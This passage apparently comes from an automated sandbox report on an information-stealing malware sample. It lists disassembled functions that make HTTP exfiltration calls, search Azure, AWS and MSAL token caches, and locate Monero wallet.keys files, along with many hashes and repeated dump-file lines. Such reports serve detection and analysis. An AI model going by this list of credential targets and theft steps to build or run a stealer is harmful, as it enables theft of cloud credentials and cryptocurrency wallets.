Part of subcall function 006E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006E4915
StrCmpCA.SHLWAPI(?,0165E510), ref: 006E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00700DDB,00000000,?,?,00000000,?,",00000000,?,0165E4E0), ref: 006E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006E4E49
InternetCloseHandle.WININET(00000000), ref: 006E4EAD
InternetCloseHandle.WININET(00000000), ref: 006E4EC5
HttpOpenRequestA.WININET(00000000,0165E520,?,0165DCD0,00000000,00000000,00400100,00000000), ref: 006E4B15

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

InternetCloseHandle.WININET(00000000), ref: 006E4ECF

Strings

------, xrefs: 006E4B28
------, xrefs: 006E49BD
", xrefs: 006E4D33
------, xrefs: 006E4C69
", xrefs: 006E4BF2

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 03b63a7d614e3344b56b03e96500d48efbe70bdcf7a02c97be01bb67c41f6100
Instruction ID: 4e3c338bc3d6da4ccab8edd79dc2317f1977ee23b7e4bd13963751521784d55e
Opcode Fuzzy Hash: 03b63a7d614e3344b56b03e96500d48efbe70bdcf7a02c97be01bb67c41f6100
Instruction Fuzzy Hash: 7A12DFB291111CAADB55EB90DC52FFEB37AAF14340F5041ADB21A62091DFB02F49CF66

Function 006F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

RegOpenKeyExA.KERNEL32(00000000,0165AB60,00000000,00020019,00000000,007005B6), ref: 006F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006F8426
wsprintfA.USER32 ref: 006F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006F847B
RegCloseKey.ADVAPI32(00000000), ref: 006F848C
RegCloseKey.ADVAPI32(00000000), ref: 006F8499

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Strings

?, xrefs: 006F837A
%s\%s, xrefs: 006F844D
- , xrefs: 006F85A3

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 7bea49d47b52b22be96853c412f789cde23920714c2314aa39b28de0fb90f153
Instruction ID: bca4670dfc30ead39bd40b9c8fb783c691a772c011691c26698102f82220adca
Opcode Fuzzy Hash: 7bea49d47b52b22be96853c412f789cde23920714c2314aa39b28de0fb90f153
Instruction Fuzzy Hash: 02810CB291111CAFDB64DB50CC95FEAB7B9BF08700F0082D8E209A6190DF756B86CF95

Function 006E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
Part of subcall function 006E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

InternetOpenA.WININET(00700DFE,00000001,00000000,00000000,00000000), ref: 006E62E1
StrCmpCA.SHLWAPI(?,0165E510), ref: 006E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006E6335
HttpOpenRequestA.WININET(00000000,GET,?,0165DCD0,00000000,00000000,00400100,00000000), ref: 006E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006E646D
InternetCloseHandle.WININET(00000000), ref: 006E64EF
InternetCloseHandle.WININET(00000000), ref: 006E64F9
InternetCloseHandle.WININET(00000000), ref: 006E6503

Strings

ERROR, xrefs: 006E6407
GET, xrefs: 006E637C
ERROR, xrefs: 006E64C9

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8d4e85e33f9c9a71c99370f24ea507cab564d6b8526fe19172850342ea75858c
Instruction ID: ba75dd8a355611c4e291ac85564570d09464c95e21772de68e44777abccb7d0a
Opcode Fuzzy Hash: 8d4e85e33f9c9a71c99370f24ea507cab564d6b8526fe19172850342ea75858c
Instruction Fuzzy Hash: F7715EB1A11318EBDB24DBA0CC45BEE77BABB44700F108198F20A6B1D4DBB46A85CF55

Function 006F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA820: lstrlen.KERNEL32(006E4F05,?,?,006E4F05,00700DDE), ref: 006FA82B
Part of subcall function 006FA820: lstrcpy.KERNEL32(00700DDE,00000000), ref: 006FA885

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006F5857

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006F5228

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006F5318
Part of subcall function 006F52C0: lstrlen.KERNEL32(00000000), ref: 006F532F
Part of subcall function 006F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 006F5364
Part of subcall function 006F52C0: lstrlen.KERNEL32(00000000), ref: 006F5383
Part of subcall function 006F52C0: lstrlen.KERNEL32(00000000), ref: 006F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006F5A0C
Sleep.KERNEL32(0000EA60), ref: 006F5A1B

Strings

ERROR, xrefs: 006F5693
ERROR, xrefs: 006F59FE
ERROR, xrefs: 006F577D
ERROR, xrefs: 006F5849
ERROR, xrefs: 006F5932
ERROR, xrefs: 006F5636

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 380410ba85c8d3fa308df3486d4e3f7a1aeed462bc5ce479f9fbc80ff54fd5a0
Instruction ID: 4cc587c6881f662077cbbbf38cf3ed689bf78fd1a9ce333570dd3ca4c2526168
Opcode Fuzzy Hash: 380410ba85c8d3fa308df3486d4e3f7a1aeed462bc5ce479f9fbc80ff54fd5a0
Instruction Fuzzy Hash: 68E151B291010C9BCB54FBA0DC52EFD737AAF54340F40812CB61B56195EF74AE0ADB96

Function 006F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

lstrcat.KERNEL32(?,00000000), ref: 006F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 006F4DCD

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F492C
Part of subcall function 006F4910: FindFirstFileA.KERNEL32(?,?), ref: 006F4943

lstrcat.KERNEL32(?,00000000), ref: 006F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 006F4E59

Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FDC), ref: 006F4971
Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FE0), ref: 006F4987
Part of subcall function 006F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006F4B7D
Part of subcall function 006F4910: FindClose.KERNEL32(000000FF), ref: 006F4B92

lstrcat.KERNEL32(?,00000000), ref: 006F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 006F4EE5

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F49B0
Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,007008D2), ref: 006F49C5
Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F49E2
Part of subcall function 006F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006F4A1E
Part of subcall function 006F4910: lstrcat.KERNEL32(?,0165E4D0), ref: 006F4A4A
Part of subcall function 006F4910: lstrcat.KERNEL32(?,00700FF8), ref: 006F4A5C
Part of subcall function 006F4910: lstrcat.KERNEL32(?,?), ref: 006F4A70
Part of subcall function 006F4910: lstrcat.KERNEL32(?,00700FFC), ref: 006F4A82
Part of subcall function 006F4910: lstrcat.KERNEL32(?,?), ref: 006F4A96
Part of subcall function 006F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006F4AAC
Part of subcall function 006F4910: DeleteFileA.KERNEL32(?), ref: 006F4B31

Strings

\.IdentityService\, xrefs: 006F4ED9
*.*, xrefs: 006F4E64
Azure\.aws, xrefs: 006F4E5F
Azure\.azure, xrefs: 006F4DD3
*.*, xrefs: 006F4DD8
\.azure\, xrefs: 006F4DC1
Azure\.IdentityService, xrefs: 006F4EEB
\.aws\, xrefs: 006F4E4D
msal.cache, xrefs: 006F4EF0

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 69328beb5e30e0a4ce348e996dec5290721d62b5a99cdcca4f4affcaae64d469
Instruction ID: 4823de44e9d225ca39308bd66eb38d8a58e39d31334cd2adce868986fe0e169c
Opcode Fuzzy Hash: 69328beb5e30e0a4ce348e996dec5290721d62b5a99cdcca4f4affcaae64d469
Instruction Fuzzy Hash: BA41A4FA940208A7DB60F770EC47FED7379AB64700F404598B689660C1EEB45BC9DB92

Function 006E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E12B4
Part of subcall function 006E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 006E12BB
Part of subcall function 006E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006E12D7
Part of subcall function 006E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006E12F5
Part of subcall function 006E12A0: RegCloseKey.ADVAPI32(?), ref: 006E12FF

lstrcat.KERNEL32(?,00000000), ref: 006E134F
lstrlen.KERNEL32(?), ref: 006E135C
lstrcat.KERNEL32(?,.keys), ref: 006E1377

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F8B60: GetSystemTime.KERNEL32(00700E1A,01659A58,007005AE,?,?,006E13F9,?,0000001A,00700E1A,00000000,?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006F8B86

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 006E1465

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006E99EC
Part of subcall function 006E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006E9A11
Part of subcall function 006E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006E9A31
Part of subcall function 006E99C0: ReadFile.KERNEL32(000000FF,?,00000000,006E148F,00000000), ref: 006E9A5A
Part of subcall function 006E99C0: LocalFree.KERNEL32(006E148F), ref: 006E9A90
Part of subcall function 006E99C0: CloseHandle.KERNEL32(000000FF), ref: 006E9A9A

DeleteFileA.KERNEL32(00000000), ref: 006E14EF

Strings

\Monero\wallet.keys, xrefs: 006E138D
SOFTWARE\monero-project\monero-core, xrefs: 006E1335
.keys, xrefs: 006E136B
wallet_path, xrefs: 006E1330

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
